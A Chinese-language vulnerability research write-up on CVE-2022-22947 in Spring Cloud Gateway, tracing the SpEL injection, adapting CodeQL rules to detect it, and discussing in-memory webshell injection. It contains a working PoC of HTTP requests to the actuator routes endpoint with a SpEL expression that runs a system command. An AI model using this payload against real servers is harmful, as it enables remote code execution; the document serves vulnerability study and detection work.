CVE-2022-22947
调试
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目,再调试或启动
看一下github的相关代码更新,定位漏洞点
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
红色部分就是含有漏洞的代码,明显做了一次对SPEL的解析。
在不指定EvaluationContext
的情况下默认采用的是StandardEvaluationContext
,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
跟踪一下漏洞方法的调用
normalize方法调用了getvalue
normalizeProperties调用了normalize方法
在看一下这个类的抽象类AbstractBuilder中的bind方法调用了normalizeProperties方法
跟踪bind方法,发现与loadGatewayFilters方法相关
这里还调用了properties方法,设置了normalize方法中的properties参数
继续跟踪,
最后可以定位到路由 /routes/{id}
在官方文档中找到相应的路由说明
找一下filter的结构定义字段
同时根据路由找到对应的方法
这里有一个validation方法
可以看到这里的isAvailable对其做了校验
在调试模式下,查找一下相关的值,发现有28个合法的name
为了获得回显,选取AddResponseHeader,它所对应的filter会将值存放到responseheader中
poc
POST /actuator/gateway/routes/123 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "123",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result=",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ipconfig').start().getInputStream(), 'GBK').useDelimiter('123ada').next()}"
}
}],
"uri": "http://123.com"
}
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
GET /actuator/gateway/routes/123 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
codeql继续挖spel
研究了一下,发现source无法直接使用RemoteFlowSources,看了一下RemoteFlowSources在spring里主要用的是SpringRequestMappingParameter
仔细看了一下规则,发现SpringRequestMappingParameter是SpringRequestMappingMethod的参数,而SpringRequestMappingMethod继承了SpringControllerMethod,导致目标方法必须带有controller类的注解才能被识别。
然而,这里的source的注解为
因此,无法被识别。
所以RemoteFlowFource应该还需要被完善
最后稍稍改了一下SpringRequestMappingMethod的定义,将继承的类从SpringControllerMethod改成Method就能够避开controller的限定了
class NewSpringRequestMappingMethod extends Method {
SpringRequestMappingAnnotationType requestMappingAnnotationType;
NewSpringRequestMappingMethod() {
// Any method that declares the @RequestMapping annotation, or overrides a method that declares
// the annotation. We have to do this explicit check because the @RequestMapping annotation is
// not declared with @Inherited.
exists(Method superMethod |
this.overrides*(superMethod) and
requestMappingAnnotationType = superMethod.getAnAnnotation().getType()
)
}}
/** A parameter of a `SpringRequestMappingMethod`. */
class NewSpringRequestMappingParameter extends Parameter {
NewSpringRequestMappingParameter() { this.getCallable() instanceof NewSpringRequestMappingMethod }
/** Holds if the parameter should not be consider a direct source of taint. */
predicate isNotDirectlyTaintedInput() {
this.getType().(RefType).getAnAncestor() instanceof SpringWebRequest or
this.getType().(RefType).getAnAncestor() instanceof SpringNativeWebRequest or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletRequest") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletResponse") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "HttpSession") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "PushBuilder") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.security", "Principal") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.http", "HttpMethod") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "Locale") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "TimeZone") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.time", "ZoneId") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "OutputStream") or
this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "Writer") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.web.servlet.mvc.support", "RedirectAttributes") or
// Also covers BindingResult. Note, you can access the field value through this interface, which should be considered tainted
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.validation", "Errors") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.web.bind.support", "SessionStatus") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.web.util", "UriComponentsBuilder") or
this.getType()
.(RefType)
.getAnAncestor()
.hasQualifiedName("org.springframework.data.domain", "Pageable") or
this instanceof SpringModel
}
}
最后就能成功找到source
重新想了一下,发现入手点错了。
post方法写入恶意spel表达式,get方法访问对应uri才是触发漏洞的方法。导致从post入手不行,应该用以下方法作为source,这时候发现好像不应该用污点跟踪,因为不是以参数作为输入的
需要恶补java开发的知识,如Mono,flux等。
这里后续去看了一下发现漏洞的师傅的文章,发现之前一直没有检测出来也是因为remoteFlowSource不够完善,但是对于师傅的文章还是有些疑问,无法复现
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
注入内存马利用
看了师傅的一些文章,发现这里的内存马其实有两种注入方法,一是从spring框架入手,另外就是从使用的netty中间件入手。
spring框架的内存马注入
首先由于需要找到RequestMappingHandlerMapping
可以看到漏洞点附近有beanFactory参数,因此可以从这里入手,在附近下断点调试,可以找到beanFatory中有RequestMappingHandlerMapping,那么直接在spel表达式中调用@RequestMappingHandlerMapping,作为参数传入注入的代码中即可。
在接下来的地方卡了好久,发现spring-cloud-gateway 使用的是webflux框架,而不是之前遇到的springmvc,才会报出classNotfound的错。相应的payload也需要做一些改变。
最后结果
坑点
组件版本一定要搞清楚,坑
还有就是
这里的Retry参数,到时候再看一下
小bug 如果用addResponseHeader作为参数,最后被注入的方法并不是内存马的方法,而是写在后面的测试方法(弹计算器)